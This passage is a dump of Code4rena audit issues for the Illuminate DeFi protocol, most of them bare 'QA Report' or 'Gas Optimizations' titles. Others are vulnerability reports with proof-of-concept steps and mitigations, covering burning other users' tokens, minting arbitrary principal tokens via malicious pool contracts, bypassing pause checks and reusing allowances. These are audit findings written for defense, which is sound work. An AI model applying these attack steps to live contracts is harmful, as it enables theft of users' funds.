https://github.com/code-423n4/2022-06-illuminate/blob/912be2a90ded4a557f121fe565d12ec48d0c4684/marketplace/ERC5095.sol#L121-L127 ```solidity /// @param f Address to burn from /// @param a Amount to burn /// @return bool true if successful function burn(address f, uint256 a) external onlyAdmin(redeemer) returns (bool) { _burn(f, a); return true; } ``` https://github.com/code-423n4/2022-06-illuminate/blob/912be2a90ded4a557f121fe565d12ec48d0c4684/marketplace/ERC5095.sol#L7 ```solidity contract ERC5095 is ERC20Permit, IERC5095 { ``` https://github.com/code-423n4/2022-06-illuminate/blob/912be2a90ded4a557f121fe565d12ec48d0c4684/marketplace/ERC20.sol#L187-L196 ```solidity function _burn(address src, uint wad) internal virtual returns (bool) { unchecked { require(_balanceOf[src] >= wad, \"ERC20: Insufficient balance\"); _balanceOf[src] = _balanceOf[src] - wad; _totalSupply = _totalSupply - wad; emit Transfer(src, address(0), wad); } return true; } ``` This way a malicious user owning some Illuminate PT can burn the same amount of PT as she owns from any another account, that is essentially from all other accounts, obtaining all the underlying tokens from the system. The behavior is somewhat similar to the public burn case. ## Recommended Mitigation Steps `o` address looks to be not needed in Illuminate PT case. Consider burning the shares from `msg.sender`, for example: https://github.com/code-423n4/2022-06-illuminate/blob/912be2a90ded4a557f121fe565d12ec48d0c4684/redeemer/Redeemer.sol#L125-L126 ```solidity // Burn the prinicipal token from Illuminate - token.burn(o, amount); + token.burn(msg.sender, amount); ``` "}, {"title": "Funds may be stuck when `redeeming` for Illuminate", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/384", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-06-illuminate-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-illuminate/blob/912be2a90ded4a557f121fe565d12ec48d0c4684/redeemer/Redeemer.sol#L120 # Vulnerability details ## Impact Funds may be stuck when `redeeming` for Illuminate. ## Proof of Concept Assuming the goal of calling `redeem` for Illuminate [here](https://github.com/code-423n4/2022-06-illuminate/blob/912be2a90ded4a557f121fe565d12ec48d0c4684/redeemer/Redeemer.sol#L116) is to redeem the Illuminate principal held by the lender or the redeemer, then there is an issue because the wrong [balance](https://github.com/code-423n4/2022-06-illuminate/blob/912be2a90ded4a557f121fe565d12ec48d0c4684/redeemer/Redeemer.sol#L120) is checked. So if no `msg.sender` has a positive balance funds will be lost. Now assuming the goal of calling `redeem` for Illuminate [here](https://github.com/code-423n4/2022-06-illuminate/blob/912be2a90ded4a557f121fe565d12ec48d0c4684/redeemer/Redeemer.sol#L116) is for users to redeem their Illuminate principal and receive the underlying as suggested by this [comment](https://github.com/code-423n4/2022-06-illuminate/blob/912be2a90ded4a557f121fe565d12ec48d0c4684/redeemer/Redeemer.sol#L127), then the underlying is not sent back to users because `Safe.transferFrom(IERC20(u), lender, address(this), amount);` send the funds to the redeemer, not the user. ## Recommended Mitigation Steps Clarify the purpose of this function and fix the corresponding bug. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/380", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-illuminate-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/378", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-illuminate-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/377", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-illuminate-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/375", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-illuminate-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/371", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-illuminate-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/370", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-illuminate-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/369", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-illuminate-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/367", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-illuminate-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/366", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-illuminate-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/362", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-illuminate-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/361", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-illuminate-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/360", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-illuminate-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/358", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-illuminate-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/355", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-illuminate-findings", "body": "Gas Optimizations"}, {"title": "Potential losses are not distributed fairly among the zcTokens holder, making users that withdraw earlier will be able to get back 100% of the face value, and the late users may not be able to redeem", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/352", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-06-illuminate-findings", "body": "Potential losses are not distributed fairly among the zcTokens holder, making users that withdraw earlier will be able to get back 100% of the face value, and the late users may not be able to redeem"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/351", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-illuminate-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/350", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-illuminate-findings", "body": "QA Report"}, {"title": "Able to mint any amount of PT", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/349", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-06-illuminate-findings", "body": "# Lines of code [Lender.sol#L192-L235](https://github.com/code-423n4/2022-06-illuminate/blob/main/lender/Lender.sol#L192-L235) [Lender.sol#L486-L534](https://github.com/code-423n4/2022-06-illuminate/blob/main/lender/Lender.sol#L486-L534) [Lender.sol#L545-L589](https://github.com/code-423n4/2022-06-illuminate/blob/main/lender/Lender.sol#L545-L589) # Vulnerability details ## Impact Some of the ```lend``` functions do not validate addresses sent as input which could lead to a malicous user being able to mint more PT tokens than they should. Functions affect: - [Illuminate and Yield ```lend``` function](https://github.com/code-423n4/2022-06-illuminate/blob/main/lender/Lender.sol#L192-L235). - [Sense ```lend``` function](https://github.com/code-423n4/2022-06-illuminate/blob/main/lender/Lender.sol#L486-L534). - [APWine ```lend``` function](https://github.com/code-423n4/2022-06-illuminate/blob/main/lender/Lender.sol#L545-L589). ## Proof of Concept In the Illuminate and Yield ```lend``` function: 1. Let the Yieldspace pool ```y``` be a malicious contract that implements the ```IYield``` interface. 2. The ```base``` and ```maturity``` functions for ```y``` may return any value so the conditions on lines 208 and 210 are easily passed. 3. The caller of ```lend``` sends any amount ```a``` for the desired underlying ```u```. 4. If principal token ```p``` corresponds to the Yield principal, then the ```yield``` function is called which has a [return value controlled by the malicious contract ```y```](https://github.com/code-423n4/2022-06-illuminate/blob/main/lender/Lender.sol#L648). 5. The ```mint``` function is then called for the principal token with an underlying ```u``` and a maturity ```m``` which will then mint the ```returned``` amount of principal tokens to the malicious user. In the Sense ```lend``` function: 1. Let the amm ```x``` input variable be a malicous contract that implements the ```ISense``` interface. 2. The malicious user sends any amount of underlying to ```Lender.sol```. 3. Since the amm isn't validated, the ```swapUnderlyingForPTs``` function can return any amount for ```returned``` that is used to mint the Illuminate tokens. 4. The malicious user gains a disproportionate amount of PT. In the APWine ```lend``` function: 1. Let the APWine ```pool``` input variable be a malicous contract that implements the ```IAPWineRouter``` interface. 2. The malicious user sends any amount of underlying to ```Lender.sol```. 3. The ```swapExactAmountIn``` function of the malicious ```pool``` contract returns any amount for ```returned```. 4. The ```mint``` function is called for the PT with underlying ```u``` and maturity ```m``` with the attacker controlled ```returned``` amount. ## Recommmended Mitigation Steps Consider validating the input addresses of [```y```](https://github.com/code-423n4/2022-06-illuminate/blob/main/lender/Lender.sol#L197), [```x```](https://github.com/code-423n4/2022-06-illuminate/blob/main/lender/Lender.sol#L492) and [```pool```](https://github.com/code-423n4/2022-06-illuminate/blob/main/lender/Lender.sol#L551) through a whitelisting procedure if possible or validating that the ```returned``` amounts correspond with the amount of PT gained from the protocols by checking the balance before and after the PTs are gained and checking the difference is equal to ```returned```. "}, {"title": "`Redeemer.sol#redeem()` can be called by anyone before maturity, which may lead to loss of user funds", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/347", "labels": ["bug", "3 (High Risk)"], "target": "2022-06-illuminate-findings", "body": "`Redeemer.sol#redeem()` can be called by anyone before maturity, which may lead to loss of user funds"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/346", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-illuminate-findings", "body": "QA Report"}, {"title": "[M-01] Easily bypassing admins 'pause' for swivel", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/343", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-06-illuminate-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-illuminate/blob/912be2a90ded4a557f121fe565d12ec48d0c4684/lender/Lender.sol#L247-L305 # Vulnerability details ## Impact Assuming admin decides to pause an external principle when it's dangerous, malicious or unprofitable, Bypassing the admins decision can result in loss of funds for the project. ## Proof of Concept https://github.com/code-423n4/2022-06-illuminate/blob/912be2a90ded4a557f121fe565d12ec48d0c4684/lender/Lender.sol#L247-L305 * The principals enum `p` is only used for `unpaused(p)` modifier, and to emit an event. * Attacker can bypass the `unpaused(p)` modifier check by simply passing an enum of another principle that is not paused. * The function will just continue as normal, without any other side-effect, as if the `pause` is simple ignored. ## Recommended Mitigation Steps Add this check at the beginning of the function (just like in similar functions of this solution) ` if (p != uint8(MarketPlace.Principals.Swivel)) { revert Invalid('principal'); } ` "}, {"title": "Unable to redeem from Notional", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/341", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-06-illuminate-findings", "body": "# Lines of code [Redeemer.sol#L193](https://github.com/code-423n4/2022-06-illuminate/blob/main/redeemer/Redeemer.sol#L193) # Vulnerability details ## Impact The ```maxRedeem``` function is a view function which only returns the balance of the ```Redeemer.sol``` contract. After this value is obtained, the PT is not redeemed from Notional. The user will be unable to redeem PT from Notional through ```Redeemer.sol```. ## Proof of Concept Notional code: ``` function maxRedeem(address owner) public view override returns (uint256) { return balanceOf(owner); } ``` ## Recommmended Mitigation Steps Call [```redeem```](https://github.com/notional-finance/wrapped-fcash/blob/019cfa20369d5e0d9e7a38fea936cc649704780d/contracts/wfCashERC4626.sol#L205) from Notional using the ```amount``` from ```maxRedeem``` as the ```shares``` input after the call to ```maxRedeem```. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/340", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-illuminate-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/334", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-illuminate-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/333", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-illuminate-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/330", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-illuminate-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/329", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-illuminate-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/328", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-illuminate-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/324", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-illuminate-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/323", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-illuminate-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/322", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-illuminate-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/321", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-illuminate-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/319", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-illuminate-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/312", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-illuminate-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/310", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-illuminate-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/309", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-illuminate-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/303", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-illuminate-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/300", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-illuminate-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/298", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-illuminate-findings", "body": "Gas Optimizations"}, {"title": "Principal types in Illuminate and Yield lending are mixed up", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/295", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2022-06-illuminate-findings", "body": "Principal types in Illuminate and Yield lending are mixed up"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/292", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-illuminate-findings", "body": "QA Report"}, {"title": "Leak of Value in `yield` function, slippage check is not effective", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/289", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-06-illuminate-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-illuminate/blob/912be2a90ded4a557f121fe565d12ec48d0c4684/lender/Lender.sol#L641-L654 # Vulnerability details The function `yield` is using the input from `sellBasePreview` and then using it. https://github.com/code-423n4/2022-06-illuminate/blob/912be2a90ded4a557f121fe565d12ec48d0c4684/lender/Lender.sol#L641-L654 ```solidity function yield( address u, address y, uint256 a, address r ) internal returns (uint256) { // preview exact swap slippage on yield uint128 returned = IYield(y).sellBasePreview(Cast.u128(a)); // send the remaing amount to the given yield pool Safe.transfer(IERC20(u), y, a); // lend out the remaining tokens in the yield pool IYield(y).sellBase(r, returned); ``` The output of `sellBasePreview` is meant to be used off-chain to avoid front-running and price changes, additionally no validation is performed on this value (is it zero, is it less than 95% of amount) meaning the check is equivalent to setting `returned = 0` I'd recommend to add checks, or ideally have a trusted keeper bulk `sellBase` with an additional slippage check as the function parameter "}, {"title": "`scheduleWithdrawal` should have a timeout", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/287", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-06-illuminate-findings", "body": "`scheduleWithdrawal` should have a timeout"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/279", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-illuminate-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/278", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-illuminate-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/276", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-illuminate-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/275", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-illuminate-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/272", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-illuminate-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/271", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-illuminate-findings", "body": "Gas Optimizations"}, {"title": "Incorrect implementation of APWine and Tempus `redeem`", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/268", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-06-illuminate-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-illuminate/blob/912be2a90ded4a557f121fe565d12ec48d0c4684/redeemer/Redeemer.sol#L136 # Vulnerability details Redeeming APWine and Tempus PT will always fail, causing a portion of iPT to not be able to be redeemed for the underlying token. The issue is caused by the incorrect implementation of `redeem`: ``` uint256 amount = IERC20(principal).balanceOf(lender); Safe.transferFrom(IERC20(u), lender, address(this), amount); ``` The first line correctly calculates the balance of PT token available in `Lender`. However, the second line tries to transfer the underlying token `u` instead of `principal` from Lender to `Redeemer`. Therefore, the redeeming process will always fail as both `APWine.withdraw` and `ITempus.redeemToBacking` will try to redeem non-existent PT. ## Recommended Mitigation Steps Fix the transfer line: ``` Safe.transferFrom(IERC20(principal), lender, address(this), amount); ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/264", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-illuminate-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/263", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-illuminate-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/262", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-illuminate-findings", "body": "QA Report"}, {"title": "Lender: no check for paused market on mint", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/260", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-06-illuminate-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-illuminate/blob/main/lender/Lender.sol#L172 # Vulnerability details Lender's `mint` function [does not check](https://github.com/code-423n4/2022-06-illuminate/blob/main/lender/Lender.sol#L172) whether the supplied market is paused. ## Impact Even if a market is paused due to insolvency/bugs, an attacker can issue iPTs. This renders the whole pause and insolvency protection mechanism ineffective. See POC. ## Proof of Concept Let's say market P has become insolvent, and Illuminate pauses that market, as it doesn't want to create further bad debt. Let's say P's principal tokens's value has declined severely in the market because of the insolvency. An attacker can buy many worthless P principal tokens for cheap, then call Lender and mint from them iPT. The attacker is now owed underlying which belongs to the legitimate users. There won't be enough funds to repay everybody. ## Recommended Mitigation Steps Check in `mint` that the market is not paused. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/256", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-illuminate-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/255", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-illuminate-findings", "body": "QA Report"}, {"title": "ERC5095 redeem/withdraw does not update allowances", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/245", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-06-illuminate-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-illuminate/blob/main/marketplace/ERC5095.sol#L100 # Vulnerability details ERC5095's `redeem`/`withdraw` allows an ERC20-approved account to redeem user's tokens, but does not update the allowance after burning. ## Impact User Mal can burn more tokens than Alice allowed him to. He can set himself to be the receiver of the underlying, therefore Alice will lose funds. ## Proof of Concept [`withdraw`](https://github.com/code-423n4/2022-06-illuminate/blob/main/marketplace/ERC5095.sol#L100) and [`redeem`](https://github.com/code-423n4/2022-06-illuminate/blob/main/marketplace/ERC5095.sol#L116) functions check that the msg.sender has enough approvals to redeem the tokens: ``` require(_allowance[holder][msg.sender] >= underlyingAmount, 'not enough approvals'); ``` But they do not update the allowances. They then call `authRedeem`, which also does not update the allowances. Therefore, an approved user could \"re-use his approval\" again and again and redeem whole of approver's funds to himself. ## Recommended Mitigation Steps Update the allowances upon spending. "}, {"title": "Redeem Sense can be bricked", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/244", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-06-illuminate-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-illuminate/blob/main/redeemer/Redeemer.sol#L262 # Vulnerability details Sense's `redeem` can be totally DOSd due to user supplied input. ## Impact Using this attack, Sense market can not be redeemed. ## Proof of Concept [This](https://github.com/code-423n4/2022-06-illuminate/blob/main/redeemer/Redeemer.sol#L253:#L262) is how Sense market is being redeemed: ``` IERC20 token = IERC20(IMarketPlace(marketPlace).markets(u, m, p)); uint256 amount = token.balanceOf(lender); Safe.transferFrom(token, lender, address(this), amount); ISense(d).redeem(o, m, amount); ``` The problem is that `d` is user supplied input and the function only tries to redeem the amount that was transferred from Lender. A user can supply malicious `d` contract which does nothing on `redeem(o, m, amount)`. The user will then call Redeemer's `redeem` with his malicious contract. Redeemer will transfer all the prinicipal from Lender to itself, will call `d` (noop), and finish. Sense market has not been redeemed. Now if somebody tries to call Sense market's `redeem` again, the `amount` variable will be 0, and Redeemer will try to redeem 0 from Sense. All the original principal is locked and lost in the contract, like tears in rain. ## Recommended Mitigation Steps I think you should either use a whitelisted Sense address, or send to `ISense(d).redeem` Redeemer's whole principal balance. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/241", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-illuminate-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/239", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-illuminate-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/235", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-illuminate-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/231", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-illuminate-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/227", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-illuminate-findings", "body": "Gas Optimizations"}, {"title": "Tempus lend method wrongly calculates amount of iPT tokens to mint", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/222", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2022-06-illuminate-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-illuminate/blob/main/lender/Lender.sol#L465:#L466 # Vulnerability details The Tempus `lend` method calculates the amount of tokens to mint as `amountReturnedFromTempus - lenderBalanceOfMetaPrincipalToken`. This seems wrong as there's no connection between the two items. Tempus has no relation to the iPT token. ## Impact Wrong amount of iPT will be minted to the user. If the Lender contract has iPT balance, the function will revert, otherwise, user will get minted 0 iPT tokes. ## Proof of Concept [This](https://github.com/code-423n4/2022-06-illuminate/blob/main/lender/Lender.sol#L465:#L469) is how the `lend` method calculates the amount of iPT tokens to mint: ``` uint256 returned = ITempus(tempusAddr).depositAndFix(Any(x), Any(t), a - fee, true, r, d) - illuminateToken.balanceOf(address(this)); illuminateToken.mint(msg.sender, returned); ``` The Tempus `depositAndFix` method [does not return](https://etherscan.io/address/0xdB5fD0678eED82246b599da6BC36B56157E4beD8#code#F1#L127) anything. Therefore this calculation will revert if `illuminateToken.balanceOf(address(this)) > 0`, or will return 0 if the balance is 0. [Note: there's another issue here where the depositAndFix sends wrong parameters - I will submit it in another issue.] ## Recommended Mitigation Steps I believe that what you intended to do is to check how many Tempus principal tokens the contract received. So you need to check Lender's `x.tempusPool().principalShare()` before and after the swap, and the delta is the amount received. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/211", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-illuminate-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/210", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-illuminate-findings", "body": "Gas Optimizations"}, {"title": "```withdraw``` eToken before ```withdrawFee``` of eToken could render ```withdrawFee``` of eToken unfunctioning", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/209", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-06-illuminate-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-illuminate/blob/912be2a90ded4a557f121fe565d12ec48d0c4684/lender/Lender.sol#L705-L720 https://github.com/code-423n4/2022-06-illuminate/blob/912be2a90ded4a557f121fe565d12ec48d0c4684/lender/Lender.sol#L659-L675 # Vulnerability details ```withdrawFee``` of eToken requires the amount of eToken in ```Lender.sol``` >= ```fees[eToken]``` so ```Safe.transfer``` will not revert. However if the admin ```withdraw(eToken)``` first, the balance of eToken in ```Lender.sol``` will equal to zero while ```fees[eToken]``` remains the same and ```withdrawFee(eToken)``` will become unfunctioning since eToken in the contract does not match ```fees[eToken]```. The admin will need to rely on ```withdraw```, which takes 3 days before transfering, to get the future fees of eToken. ### Mitigations add ```fees[eToken] = 0;``` after ```withdrawals[e] = 0;``` in ```withdraw```. "}, {"title": "Lend method signature for illuminate does not track the accumulated fee ", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/208", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-06-illuminate-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-illuminate/blob/912be2a90ded4a557f121fe565d12ec48d0c4684/lender/Lender.sol#L185-L235 # Vulnerability details Normally the amount of fees after ```calculateFee``` should be added into ```fees[u]``` so that the admin could withdraw it through ```withdrawFee```. However, illuminate ledning does not track ```fees[u]```. Therefore, the only way to get fees back is through ```withdraw``` which admin needs to wait at least 3 days before receiving the fees. ### Mitigations Add the amount of fee after each transaction into ```fees[u]``` like other lending method. for example: ``` fees[u] += calculateFee(a);``` "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/205", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-06-illuminate-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/204", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-06-illuminate-findings", "body": "QA Report"}, {"title": "Swivel lend method doesn't pull protocol fee from user", "html_url": "https://github.com/code-423n4/2022-06-illuminate-findings/issues/201", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-06-illuminate-findings", "body": "# Lines of code https://github.com/code-423n4/2022-06-illuminate/blob/main/lender/Lender.sol#L297 # Vulnerability details The Swivel `lend` method adds to `fees[u]` the order fee, but does not pull that fee from the user. It only pulls the order-post-fee amount. ## Impact `withdrawFee` will fail, as it tries to transfer more tokens than are in the contract. ## Proof of Concept The Swivel `lend` method [sums up](https://github.com/code-423n4/2022-06-illuminate/blob/main/lender/Lender.sol#L279:#L283) the fees to `totalFee`, and the amount to send to Swivel in `lent`: ``` totalFee += fee; // Amount lent for this order uint256 amountLent = amount - fee; // Sum the total amount lent to Swivel (amount of ERC5095 tokens to mint) minus fees lent += amountLent; ``` It then [increments](https://github.com/code-423n4/2022-06-illuminate/blob/main/lender/Lender.sol#L294:#L297) `fees[u]` by `totalFee`, but only pulls from the user 